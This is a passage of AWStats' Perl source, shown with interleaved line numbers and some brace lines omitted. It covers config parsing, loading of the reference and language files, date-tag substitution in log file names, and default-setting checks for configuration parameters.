foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
2069
if ( $param =~ /^ValidSMTPCodes/ ) {
2070
%ValidSMTPCodes = ();
2071
foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
2074
if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
2075
@URLWithQueryWithOnly = split( /\s+/, $value );
2078
if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
2079
@URLWithQueryWithout = split( /\s+/, $value );
2084
if ( $param =~ /^ExtraSectionName(\d+)/ ) {
2085
$ExtraName[$1] = $value;
2088
if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
2089
@{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
2092
if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
2093
$ExtraCondition[$1] = $value;
2096
if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
2097
$ExtraStatTypes[$1] = $value;
2100
if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
2101
$ExtraFirstColumnTitle[$1] = $value;
2104
if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
2105
$ExtraFirstColumnValues[$1] = $value;
2108
if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
2109
$ExtraFirstColumnFunction[$1] = $value;
2112
if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
2113
$ExtraFirstColumnFormat[$1] = $value;
2116
if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
2117
$ExtraAddAverageRow[$1] = $value;
2120
if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
2121
$ExtraAddSumRow[$1] = $value;
2124
if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
2125
$MaxNbOfExtra[$1] = $value;
2128
if ( $param =~ /^MinHitExtra(\d+)/ ) {
2129
$MinHitExtra[$1] = $value;
2134
if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; }
2136
# Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
2137
if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
2138
if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; }
2140
# Check if this is a known parameter
2141
# if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
2142
# If parameters was not found previously, defined variable with name of param to value
2147
debug("Config file read was \"$configFile\" (level $level)");
2151
#------------------------------------------------------------------------------
2152
# Function: Load the reference databases
2153
# Parameters: List of files to load
2155
# Output: Arrays and Hash tables are defined
2157
#------------------------------------------------------------------------------
2160
# Check lib files in common possible directories :
2161
# Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl)
2162
# Debian package: "/usr/share/awstats/lib"
2163
my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
2165
my %DirAddedInINC = ();
2166
my @FileListToLoad = ();
2167
while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
2169
debug( "Call to Read_Ref_Data with files to load: "
2170
. ( join( ',', @FileListToLoad ) ) );
2172
foreach my $file (@FileListToLoad) {
2173
foreach my $dir (@PossibleLibDir) {
2174
my $searchdir = $dir;
2176
&& ( !( $searchdir =~ /\/$/ ) )
2177
&& ( !( $searchdir =~ /\\$/ ) ) )
2181
if ( !$FilePath{$file} )
2182
{ # To not load twice same file in different path
2183
if ( -s "${searchdir}${file}" ) {
2184
$FilePath{$file} = "${searchdir}${file}";
2187
"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
2191
# Note: cygwin perl 5.8 need a push + require file
2192
if ( !$DirAddedInINC{"$dir"} ) {
2194
$DirAddedInINC{"$dir"} = 1;
2196
my $loadret = require "$file";
2198
#my $loadret=(require "$FilePath{$file}"||require "${file}");
2202
if ( !$FilePath{$file} ) {
2203
my $filetext = $file;
2204
$filetext =~ s/\.pm$//;
2205
$filetext =~ s/_/ /g;
2207
"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
2208
. ( $PossibleLibDir[0] )
2209
. "\" directory and is readable." );
2213
# Sanity check (if loaded)
2214
if ( ( scalar keys %OSHashID )
2215
&& @OSSearchIDOrder != scalar keys %OSHashID )
2217
error( "Not same number of records of OSSearchIDOrder ("
2218
. (@OSSearchIDOrder)
2219
. " entries) and OSHashID ("
2220
. ( scalar keys %OSHashID )
2221
. " entries) in OS database. Check your file "
2222
. $FilePath{"operating_systems.pm"} );
2225
( scalar keys %SearchEnginesHashID )
2226
&& ( @SearchEnginesSearchIDOrder_list1 +
2227
@SearchEnginesSearchIDOrder_list2 +
2228
@SearchEnginesSearchIDOrder_listgen ) != scalar
2229
keys %SearchEnginesHashID
2233
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
2235
@SearchEnginesSearchIDOrder_list1 +
2236
@SearchEnginesSearchIDOrder_list2 +
2237
@SearchEnginesSearchIDOrder_listgen
2239
. " entries) and SearchEnginesHashID ("
2240
. ( scalar keys %SearchEnginesHashID )
2241
. " entries) in Search Engines database. Check your file "
2242
. $FilePath{"search_engines.pm"}
2246
if ( ( scalar keys %BrowsersHashIDLib )
2247
&& @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 8 )
2249
#foreach (sort keys %BrowsersHashIDLib)
2253
#foreach (sort @BrowsersSearchIDOrder)
2257
error( "Not same number of records of BrowsersSearchIDOrder ("
2258
. (@BrowsersSearchIDOrder)
2259
. " entries) and BrowsersHashIDLib ("
2260
. ( ( scalar keys %BrowsersHashIDLib ) - 8 )
2261
. " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
2262
. $FilePath{"browsers.pm"}
2263
. " is up to date." );
2266
( scalar keys %RobotsHashIDLib )
2267
&& ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2268
@RobotsSearchIDOrder_listgen ) !=
2269
( scalar keys %RobotsHashIDLib ) - 1
2273
"Not same number of records of RobotsSearchIDOrder_listx (total is "
2275
@RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2276
@RobotsSearchIDOrder_listgen
2278
. " entries) and RobotsHashIDLib ("
2279
. ( ( scalar keys %RobotsHashIDLib ) - 1 )
2280
. " entries without 'unknown') in Robots database. Check your file "
2281
. $FilePath{"robots.pm"}
2287
#------------------------------------------------------------------------------
2288
# Function: Get the messages for a specified language
2289
# Parameters: LanguageId
2290
# Input: $DirLang $DIR
2291
# Output: $Message table is defined in memory
2293
#------------------------------------------------------------------------------
2294
sub Read_Language_Data {
2296
# Check lang files in common possible directories :
2297
# Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl)
2298
# Debian package : "/usr/share/awstats/lang"
2299
my @PossibleLangDir =
2300
( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
2303
foreach (@PossibleLangDir) {
2306
&& ( !( $searchdir =~ /\/$/ ) )
2307
&& ( !( $searchdir =~ /\\$/ ) ) )
2311
if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
2312
$FileLang = "${searchdir}awstats-$_[0].txt";
2317
# If file not found, we try english
2319
foreach (@PossibleLangDir) {
2322
&& ( !( $searchdir =~ /\/$/ ) )
2323
&& ( !( $searchdir =~ /\\$/ ) ) )
2327
if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
2328
$FileLang = "${searchdir}awstats-en.txt";
2334
debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
2338
binmode LANG; # Might avoid 'Malformed UTF-8 errors'
2339
my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
2340
my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
2341
my $cregmessage = qr/^Message\d+=/i;
2345
if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
2346
if ( $_ =~ /$cregdir/o ) { $PageDir = $1; }
2347
if ( $_ =~ s/$cregmessage//o ) {
2348
$_ =~ s/^#.*//; # Remove comments
2349
$_ =~ s/\s+#.*//; # Remove comments
2350
$_ =~ tr/\t / /s; # Change all blanks into " "
2363
"Warning: Can't find language files for \"$_[0]\". English will be used."
2367
# Some language string changes
2368
if ( $LogType eq 'M' ) { # For mail
2369
$Message[8] = $Message[151];
2370
$Message[9] = $Message[152];
2371
$Message[57] = $Message[149];
2372
$Message[75] = $Message[150];
2374
if ( $LogType eq 'F' ) { # For web
2379
#------------------------------------------------------------------------------
2380
# Function: Substitute date tags in a string by value
2381
# Parameters: String
2382
# Input: All global variables
2383
# Output: Change on some global variables
2385
#------------------------------------------------------------------------------
2386
sub Substitute_Tags {
2387
my $SourceString = shift;
2388
if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
2390
my %MonthNumLibEn = (
2391
"01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
2392
"05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
2393
"09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
2396
while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
2398
# Accept tag %xx-dd and %xx-(dd)
2400
my $timephase = quotemeta("$2");
2401
my $timephasenb = "$2";
2402
$timephasenb =~ s/[^\d]//g;
2405
" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
2412
$oldersec, $oldermin, $olderhour, $olderday,
2413
$oldermonth, $olderyear, $olderwday, $olderyday
2415
= localtime( $starttime - ( $timephasenb * 3600 ) );
2416
my $olderweekofmonth = int( $olderday / 7 );
2417
my $olderweekofyear =
2419
( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
2421
if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
2422
my $olderdaymod = $olderday % 7;
2425
Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
2427
if ( $olderdaymod <= $olderwday ) {
2428
if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
2429
$olderweekofmonth = $olderweekofmonth + 1;
2432
if ( $olderdaymod > $olderwday ) {
2433
$olderweekofmonth = $olderweekofmonth + 2;
2436
# Change format of time variables
2437
$olderweekofmonth = "0$olderweekofmonth";
2438
if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
2439
if ( $olderyear < 100 ) { $olderyear += 2000; }
2440
else { $olderyear += 1900; }
2441
my $oldersmallyear = $olderyear;
2442
$oldersmallyear =~ s/^..//;
2443
if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
2444
if ( $olderday < 10 ) { $olderday = "0$olderday"; }
2445
if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; }
2446
if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; }
2447
if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; }
2449
# Replace tag with new value
2450
if ( $timetag eq 'YYYY' ) {
2451
$SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
2454
if ( $timetag eq 'YY' ) {
2455
$SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
2458
if ( $timetag eq 'MM' ) {
2459
$SourceString =~ s/%MM-$timephase/$oldermonth/ig;
2462
if ( $timetag eq 'MO' ) {
2463
$SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
2466
if ( $timetag eq 'DD' ) {
2467
$SourceString =~ s/%DD-$timephase/$olderday/ig;
2470
if ( $timetag eq 'HH' ) {
2471
$SourceString =~ s/%HH-$timephase/$olderhour/ig;
2474
if ( $timetag eq 'NS' ) {
2475
$SourceString =~ s/%NS-$timephase/$olderns/ig;
2478
if ( $timetag eq 'WM' ) {
2479
$SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
2482
if ( $timetag eq 'Wm' ) {
2483
my $olderweekofmonth0 = $olderweekofmonth - 1;
2484
$SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
2487
if ( $timetag eq 'WY' ) {
2488
$SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
2491
if ( $timetag eq 'Wy' ) {
2492
my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
2493
$SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
2496
if ( $timetag eq 'DW' ) {
2497
$SourceString =~ s/%DW-$timephase/$olderwday/g;
2500
if ( $timetag eq 'Dw' ) {
2501
my $olderwday0 = $olderwday - 1;
2502
$SourceString =~ s/%Dw-$timephase/$olderwday0/g;
2507
error("Unknown tag '\%$timetag' in parameter.");
2510
# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
2511
$SourceString =~ s/%YYYY/$nowyear/ig;
2512
$SourceString =~ s/%YY/$nowsmallyear/ig;
2513
$SourceString =~ s/%MM/$nowmonth/ig;
2514
$SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
2515
$SourceString =~ s/%DD/$nowday/ig;
2516
$SourceString =~ s/%HH/$nowhour/ig;
2517
$SourceString =~ s/%NS/$nowns/ig;
2518
$SourceString =~ s/%WM/$nowweekofmonth/g;
2519
my $nowweekofmonth0 = $nowweekofmonth - 1;
2520
$SourceString =~ s/%Wm/$nowweekofmonth0/g;
2521
$SourceString =~ s/%WY/$nowweekofyear/g;
2522
my $nowweekofyear0 = $nowweekofyear - 1;
2523
$SourceString =~ s/%Wy/$nowweekofyear0/g;
2524
$SourceString =~ s/%DW/$nowwday/g;
2525
my $nowwday0 = $nowwday - 1;
2526
$SourceString =~ s/%Dw/$nowwday0/g;
2528
return $SourceString;
2531
#------------------------------------------------------------------------------
2532
# Function: Check if all parameters are correctly defined. If not set them to default.
2534
# Input: All global variables
2535
# Output: Change on some global variables
2537
#------------------------------------------------------------------------------
2539
if ($Debug) { debug("Call to Check_Config"); }
2541
# Show initial values of main parameters before check
2543
debug( " LogFile='$LogFile'", 2 );
2544
debug( " LogType='$LogType'", 2 );
2545
debug( " LogFormat='$LogFormat'", 2 );
2546
debug( " LogSeparator='$LogSeparator'", 2 );
2547
debug( " DNSLookup='$DNSLookup'", 2 );
2548
debug( " DirData='$DirData'", 2 );
2549
debug( " DirCgi='$DirCgi'", 2 );
2550
debug( " DirIcons='$DirIcons'", 2 );
2551
debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 );
2552
debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
2553
debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
2554
debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 );
2555
debug( " BuildReportFormat=$BuildReportFormat", 2 );
2556
debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
2558
" URLWithQueryWithOnlyFollowingParameters="
2559
. ( join( ',', @URLWithQueryWithOnly ) ),
2563
" URLWithQueryWithoutFollowingParameters="
2564
. ( join( ',', @URLWithQueryWithout ) ),
2570
$LogFile = &Substitute_Tags($LogFile);
2572
error("LogFile parameter is not defined in config/domain file");
2574
if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
2575
$LogFormat =~ s/\\//g;
2576
if ( !$LogFormat ) {
2577
error("LogFormat parameter is not defined in config/domain file");
2579
if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
2581
"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
2584
$LogSeparator ||= "\\s";
2586
$DirCgi ||= '/cgi-bin';
2587
$DirIcons ||= '/icon';
2588
if ( $DNSLookup !~ /[0-2]/ ) {
2590
"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
2593
if ( !$SiteDomain ) {
2595
"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
2598
if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
2599
$AllowToUpdateStatsFromBrowser = 0;
2601
if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
2603
# Optional setup section
2604
if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; }
2605
if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
2606
$DNSStaticCacheFile ||= 'dnscache.txt';
2607
$DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
2608
if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
2610
"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
2613
if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
2614
$AllowAccessFromWebToAuthenticatedUsersOnly = 0;
2616
if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
2617
$CreateDirDataIfNotExists = 0;
2619
if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
2620
$BuildReportFormat = 'html';
2622
if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
2623
if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
2624
$SaveDatabaseFilesWithPermissionsForEveryone = 0;
2626
if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
2627
if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
2628
$KeepBackupOfHistoricFiles = 0;
2630
$DefaultFile[0] ||= 'index.html';
2631
if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
2632
$AuthenticatedUsersNotCaseSensitive = 0;
2634
if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
2635
if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; }
2636
$URLQuerySeparators =~ s/\s//g;
2637
if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; }
2638
if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; }
2639
if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
2640
if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; }
2641
if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; }
2643
if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
2645
$NbOfLinesForCorruptedLog = 50;
2647
if ( $Expires !~ /^\d+/ ) { $Expires = 0; }
2648
if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
2649
$MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
2651
# Optional accuracy setup section
2652
if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; }
2653
if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
2654
if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
2655
$LevelForBrowsersDetection = 2;
2656
} # Can be 'allphones'
2657
if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; }
2658
if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
2659
if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
2660
$LevelForFileTypesDetection = 2;
2662
if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
2663
$LevelForSearchEnginesDetection = 2;
2665
if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
2666
$LevelForKeywordsDetection = 2;
2669
# Optional extra setup section
2670
foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
2671
if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
2672
$ExtraStatTypes[$extracpt] = 'PHBL';
2674
if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/
2675
|| $MaxNbOfExtra[$extracpt] < 0 )
2677
$MaxNbOfExtra[$extracpt] = 20;
2679
if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
2681
$MinHitExtra[$extracpt] = 1;
2683
if ( !$ExtraFirstColumnValues[$extracpt] ) {
2685
"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
2688
if ( !$ExtraFirstColumnFormat[$extracpt] ) {
2689
$ExtraFirstColumnFormat[$extracpt] = '%s';
2693
# Optional appearance setup section
2694
if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
2695
$MaxRowsInHTMLOutput = 1000;
2697
if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; }
2698
if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; }
2699
if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
2700
if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
2701
$ShowDaysOfMonthStats = 'VPHB';
2703
if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
2704
if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; }
2705
if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; }
2706
if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; }
2708
if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
2709
$ShowAuthenticatedUsers = 0;
2711
if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; }
2712
if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; }
2713
if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; }
2714
if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; }
2715
if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; }
2716
if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; }
2717
if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; }
2718
if ( $ShowDownloadsStats !~ /[01HB]/ ) { $ShowDownloadsStats = 'HB';}
2719
if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; }
2720
if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; }
2721
if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; }
2722
if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; }
2723
if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; }
2724
if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; }
2725
if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; }
2726
if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; }
2727
if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; }
2728
if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; }
2729
if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; }
2730
if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
2732
if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
2733
$AddDataArrayShowDaysOfMonthStats = 1;
2735
if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
2736
$AddDataArrayShowDaysOfWeekStats = 1;
2738
if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
2739
$AddDataArrayShowHoursStats = 1;
2742
'Domain', 'HostsShown',
2743
'LoginShown', 'RobotShown',
2744
'WormsShown', 'PageShown',
2745
'OsShown', 'BrowsersShown',
2746
'ScreenSizesShown', 'RefererShown',
2747
'KeyphrasesShown', 'KeywordsShown',
2748
'EMailsShown', 'DownloadsShown'
2750
my @maxnboflistdefaultval =
2751
( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
2752
foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
2753
if ( !$MaxNbOf{ $maxnboflist[$i] }
2754
|| $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
2755
|| $MaxNbOf{ $maxnboflist[$i] } < 1 )
2757
$MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
2761
'Domain', 'Host', 'Login', 'Robot',
2762
'Worm', 'File', 'Os', 'Browser',
2763
'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
2764
'EMail', 'Downloads'
2766
my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
2767
foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
2768
if ( !$MinHit{ $minhitlist[$i] }
2769
|| $MinHit{ $minhitlist[$i] } !~ /^\d+$/
2770
|| $MinHit{ $minhitlist[$i] } < 1 )
2772
$MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
2775
if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; }
2776
if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
2777
if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
2778
$DetailedReportsOnNewWindows = 1;
2780
if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
2781
if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
2782
$MaxLengthOfShownURL = 64;
2784
if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
2785
$Logo ||= 'awstats_logo6.png';
2786
$LogoLink ||= 'http://awstats.sourceforge.net';
2787
if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; }
2788
if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
2789
$color_Background =~ s/#//g;
2790
if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
2791
$color_Background = 'FFFFFF';
2793
$color_TableBGTitle =~ s/#//g;
2795
if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
2796
$color_TableBGTitle = 'CCCCDD';
2798
$color_TableTitle =~ s/#//g;
2799
if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
2800
$color_TableTitle = '000000';
2802
$color_TableBG =~ s/#//g;
2803
if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
2804
$color_TableRowTitle =~ s/#//g;
2805
if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
2806
$color_TableRowTitle = 'FFFFFF';
2808
$color_TableBGRowTitle =~ s/#//g;
2809
if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
2810
$color_TableBGRowTitle = 'ECECEC';
2812
$color_TableBorder =~ s/#//g;
2813
if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
2814
$color_TableBorder = 'ECECEC';
2816
$color_text =~ s/#//g;
2817
if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
2818
$color_textpercent =~ s/#//g;
2819
if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
2820
$color_textpercent = '606060';
2822
$color_titletext =~ s/#//g;
2823
if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
2824
$color_weekend =~ s/#//g;
2825
if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
2826
$color_link =~ s/#//g;
2827
if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
2828
$color_hover =~ s/#//g;
2829
if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
2830
$color_other =~ s/#//g;
2831
if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
2833
if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
2835
if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
2837
if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
2839
if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
2841
if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
2843
if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
2845
if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
2847
if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
2849
# Correct param if default value is asked
2850
if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; }
2851
if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; }
2852
if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; }
2853
if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; }
2854
if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; }
2855
if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; }
2856
if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; }
2857
if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; }
2858
if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; }
2859
